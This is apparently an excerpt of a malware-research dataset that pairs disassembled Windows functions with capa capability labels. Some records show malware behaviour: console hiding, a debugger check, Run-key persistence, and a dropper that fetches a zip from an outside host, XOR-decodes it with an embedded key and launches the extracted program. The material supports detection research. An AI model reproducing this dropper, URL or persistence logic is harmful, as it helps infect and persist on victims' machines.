joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005300
Capabilities:
Create thread
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x298
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rsp + 0x280], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140005357
mov eax, 1
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400077f0
add rsp, 0x298
ret
mov r8d, 0x104
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140005740
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentversionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000548f
mov eax, dword [rsp + 0x60]
lea eax, [rax*2 + 2]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.WinApi
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14000542a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005425
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400054d0
call fcn.140007b74
mov ecx, 8
call fcn.140007810
lea rcx, [0x140002f20]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400072e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140005531
call fcn.140003280
cmp dword [rsp + 0x38], 0
jne 0x1400054d7
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14000542a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005425
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005425
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rsp + 0x38], eax
jne 0x1400054ef
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
je 0x140005517
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400077f0
add rsp, 0x298
ret
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400082fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008346
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008346
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008346
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008346
cmp dword [rcx + 0x84], 0xe
jbe 0x140008346
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008348
xor al, al
add rsp, 0x28
ret
Function at 0x140001b2c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b76
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b76
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b76
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b76
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b76
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b78
xor al, al
add rsp, 0x28
ret

Function at 0x1400f6528
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x50
rdtsc
and qword [0x140451650], 0
and qword [0x140451640], 0
shl rdx, 0x20
or rax, rdx
btr eax, 0x1f
mov qword [0x140451660], rax
call fcn.140504000
mov qword [0x140451638], rax
test rax, rax
je 0x1400f65e7
mov ebx, 1
mov qword [0x140451648], rbx
mov qword [0x140451658], rbx
call fcn.1400f557c
mov ecx, dword [0x140452078]
test eax, eax
cmovns ecx, ebx
mov dword [0x140452078], ecx
xor ecx, ecx
test eax, eax
cmovs ecx, eax
test ecx, ecx
js 0x1400f65fc
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
and qword [rsp + 0x38], 0
lea r8d, [rbx + 0xf]
and dword [rsp + 0x40], 0
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov ecx, 0xb9
mov dword [rsp + 0x34], 0x64
mov qword [rsp + 0x20], 8
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
nop dword [rax + rax]
xor ecx, ecx
jmp 0x1400f65fc
and qword [0x140451648], 0
mov ecx, 0x8007000e
and qword [0x140451658], 0
mov eax, ecx
add rsp, 0x50
pop rbx
ret

Function at 0x1400f660c
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
cmp dword [0x140452078], 0
je 0x1400f663e
lea rcx, [0x140451668]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
nop dword [rax + rax]
and dword [0x140452078], 0
mov rsi, qword [0x140451638]
jmp 0x1400f669e
mov rdi, rsi
mov rsi, qword [rsi + 0xfbd0]
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
lea rcx, [rdi + 0xfbe0]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_RtlDeleteFunctionTable]
nop dword [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop dword [rax + rax]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
nop dword [rax + rax]
dec qword [0x140451648]
test rsi, rsi
jne 0x1400f6647
and qword [0x140451638], rsi
lea rax, [0x140000000]
and dword [rsp + 0x20], esi
lea r8d, [rsi + 0x10]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
lea rax, [rsp + 0x20]
mov qword [rsp + 0x30], 9
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov ecx, 0xb9
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
nop dword [rax + rax]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1400011b0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [rsp + 0x60]
add rax, 0x20
mov rcx, rax
call fcn.1400016d0
mov r8, rax
mov edx, 0x2712
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
lea rdx, str.Mozilla_5.0__compatible__MSIE_9.0__Windows_Phone_OS_7.5__Trident_5.0__IEMobile_9.0__HTC__Titan_
lea rcx, [rsp + 0x20]
call fcn.1400015d0
nop
lea rcx, [rsp + 0x20]
call fcn.1400016d0
mov r8, rax
mov edx, 0x2722
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 5
mov edx, 0x44
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 1
mov edx, 0x34
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8d, 1
mov edx, 0x63
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, Ordinal_50
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
lea r8, [0x140001410]
mov edx, 0x4e2b
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
mov r8, qword [rsp + 0x60]
mov edx, 0x2711
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, 0x40
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
xor r8d, r8d
mov edx, 0x51
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.140169f10
nop
lea rcx, [rsp + 0x20]
call fcn.140001640
add rsp, 0x58
ret

Function at 0x140001470
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14014f828
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1400021f0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x178
lea rdx, [0x1401b9e40]
mov rcx, qword [rsp + 0x188]
call fcn.14000d990
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140002229
xor eax, eax
jmp 0x140002324
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x20]
call fcn.14000dcc0
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000225d
mov rcx, qword [rsp + 0x20]
call fcn.14000dd40
xor eax, eax
jmp 0x140002324
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.14000da00
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x140002293
mov rcx, qword [rsp + 0x20]
call fcn.14000dd40
xor eax, eax
jmp 0x140002324
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x1400022bb
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x140002307
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000da00
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000dc30
mov dword [rsp + 0x160], eax
jmp 0x1400022ab
mov rcx, qword [rsp + 0x20]
call fcn.14000dd40
mov rcx, qword [rsp + 0x188]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
add rsp, 0x178
ret

Function at 0x140002380
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.140002340
mov rcx, qword [rsp + 0x80]
call fcn.14014f8d0
mov dword [rsp + 0x34], eax
lea rdx, [0x1401b9e44]
mov rcx, qword [rsp + 0x70]
call fcn.14014f690
mov qword [rsp + 0x28], rax
lea rdx, [0x1401b9e48]
mov rcx, qword [rsp + 0x78]
call fcn.14014f690
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x28]
call fcn.1401501dc
test eax, eax
jne 0x14000246e
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.1401501bc
mov rcx, qword [rsp + 0x28]
call fcn.1401501dc
test eax, eax
jne 0x140002469
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x50]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14014f828
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x1400023e2
mov rcx, qword [rsp + 0x28]
call fcn.14014f550
mov rcx, qword [rsp + 0x50]
call fcn.14014f550
add rsp, 0x68
ret
Function at 0x1400025c0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x108
mov qword [rsp + 0xf8], 0xfffffffffffffffe
lea rcx, [rsp + 0x30]
call fcn.140001000
nop
lea rdx, str.C:UsersPublicmacfee.dat
lea rcx, [rsp + 0xa0]
call fcn.1400015d0
nop
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnaktJeXlKRjY5MEdVelVoP2U9WUJGTW9j.zip
lea rcx, [rsp + 0xc8]
call fcn.1400015d0
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x30]
call fcn.1400012f0
nop
lea rcx, [rsp + 0xc8]
call fcn.140001640
nop
lea rcx, [rsp + 0xa0]
call fcn.140001640
lea rcx, [rsp + 0x30]
call fcn.1400010e0
lea r8, str.saMUNpgctRF6kxrBXQ8jyTl52c59qumz
lea rdx, str.C:UsersPublickingsoft.dat
lea rcx, str.C:UsersPublicmacfee.dat
call fcn.140002380
lea rdx, str.C:UsersPublickingsoft.dat
lea rcx, str.C:UsersPublic
call fcn.1400021f0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [0x1401b9e41]
lea r8, str.C:UsersPublicVAxplorerVAxplorer.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0xf0], 0
lea rcx, [rsp + 0x30]
call fcn.140001080
mov eax, dword [rsp + 0xf0]
add rsp, 0x108
ret
Function at 0x140008180
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
xor ecx, eax
mov eax, ecx
and eax, 0xff
cdqe
lea rcx, [0x1401bba10]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax]
and eax, 0xff
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 4]
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
imul eax, eax, 0x8088405
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
shr eax, 0x18
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx + 8]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x1401bba10]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
ret

Function at 0x140009760
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x58]
imul rax, qword [rsp + 0x60]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
test eax, eax
je 0x1400097db
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x1400097ce
mov rax, qword [rsp + 0x68]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x58]
jmp 0x140009853
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x68]
cmp eax, dword [rcx + 0x28]
jbe 0x140009807
mov rax, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rcx + 0x2c]
mov eax, dword [rax + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rcx + 0x2c]
mov rdx, qword [rsp + 0x68]
add rcx, qword [rdx + 0x20]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x50]
call fcn.14014f990
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
mov dword [rcx + 0x2c], eax
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x58]
add rsp, 0x48
ret
Function at 0x14000bc20
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000bc4e
mov rax, qword [rsp + 0x50]
cmp dword [rax + 8], 0xffffffff
je 0x14000bc58
mov eax, 0x1000000
jmp 0x14000bd67
mov rax, qword [rsp + 0x50]
add rax, 0x150
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rax, qword [rsp + 0x50]
add rax, 0x150
mov rcx, rax
call fcn.14014f8d0
mov rcx, qword [rsp + 0x50]
movzx eax, byte [rcx + rax + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14000bcc3
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14000bcc3
mov rax, qword [rsp + 0x50]
add rax, 0x150
lea rdx, [0x1401ba3ac]
mov rcx, rax
call fcn.140150670
cmp dword [rsp + 0x68], 1
jne 0x14000bd16
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14000bcf5
mov dword [rsp + 0x38], 1
jmp 0x14000bcfd
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14000bd16
mov eax, 0x2000000
jmp 0x14000bd67
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x68]
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.1400092c0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000bd41
mov eax, dword [rsp + 0x2c]
jmp 0x14000bd67
mov rcx, qword [rsp + 0x20]
call fcn.140009d70
mov rcx, qword [rsp + 0x50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000bd65
mov eax, 0x200
jmp 0x14000bd67
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000cb50
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x268
cmp qword [rsp + 0x270], 0
je 0x14000cb8f
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000cb8f
xor edx, edx
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x278]
movsx eax, byte [rax]
test eax, eax
jne 0x14000cba3
jmp 0x14000cce9
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x14000cc0e
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x14000cbec
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x14000cbf9
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
jmp 0x14000cbbd
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x278]
cmp qword [rsp + 0x20], rax
je 0x14000cc98
mov rax, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov r8, rax
mov rdx, qword [rsp + 0x278]
lea rcx, [rsp + 0x150]
call fcn.14014f990
mov rax, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x270]
call fcn.14000cb50
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x270], 0
je 0x14000ccba
mov rdx, qword [rsp + 0x270]
lea rcx, [rsp + 0x30]
call fcn.140150710
mov rdx, qword [rsp + 0x278]
lea rcx, [rsp + 0x30]
call fcn.140150670
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000cce9
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add rsp, 0x268
ret
Function at 0x14001182c
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0xb0], 0
mov edi, r9d
mov rbx, r8
mov rax, rdx
je 0x1400118a6
xor r8d, r8d
call fcn.140011760
mov rsi, rax
test rax, rax
jne 0x140011862
mov eax, edi
jmp 0x1400118bc
lea rax, [rsp + 0x50]
lea r9, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
mov rdx, rbx
mov rcx, rsi
mov dword [rsp + 0x50], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
cmove edi, dword [rsp + 0x30]
jmp 0x14001185e
mov r9, qword [rcx + 0xd8]
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x140011fd0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140012033
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x140012047
lea rdx, str.RegDeleteKeyTransactedA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140012047
mov rcx, qword [rbx]
and qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x14001204c
cmp dword [rcx + 8], 0
je 0x140012047
mov rdx, r8
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x14001204c
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140018770
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x140018796
mov r8, rdx
mov rdx, qword [rbx]
call fcn.140011fd0
jmp 0x1400187fd
cmp byte [0x1402533f0], 0
jne 0x1400187da
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400187ca
lea rdx, str.RegDeleteKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1402533e8], rax
jmp 0x1400187d1
mov rax, qword [0x1402533e8]
mov byte [0x1402533f0], 1
jmp 0x1400187e1
mov rax, qword [0x1402533e8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x1400187f7
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x1400187fd
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140018c7c
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rdx]
mov rbx, rdx
cmp dword [rcx - 0x10], 0
je 0x140018cae
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140018cae
lea rcx, [rdi + 0x120]
mov rdx, rbx
call fcn.14002d698
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14001fd98
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.1400160f8
mov rsi, rax
test rax, rax
je 0x14001fe14
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14001fe0f
cmp dword [rbx], 0x40
jb 0x14001fe0f
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14001fe0f
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14001fe18
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14002773c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x1400277a4
call fcn.140013eac
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x1400277a4
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x1400277c6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140027130
mov esi, eax
test rdi, rdi
je 0x1400277c4
test rbx, rbx
je 0x1400277c4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
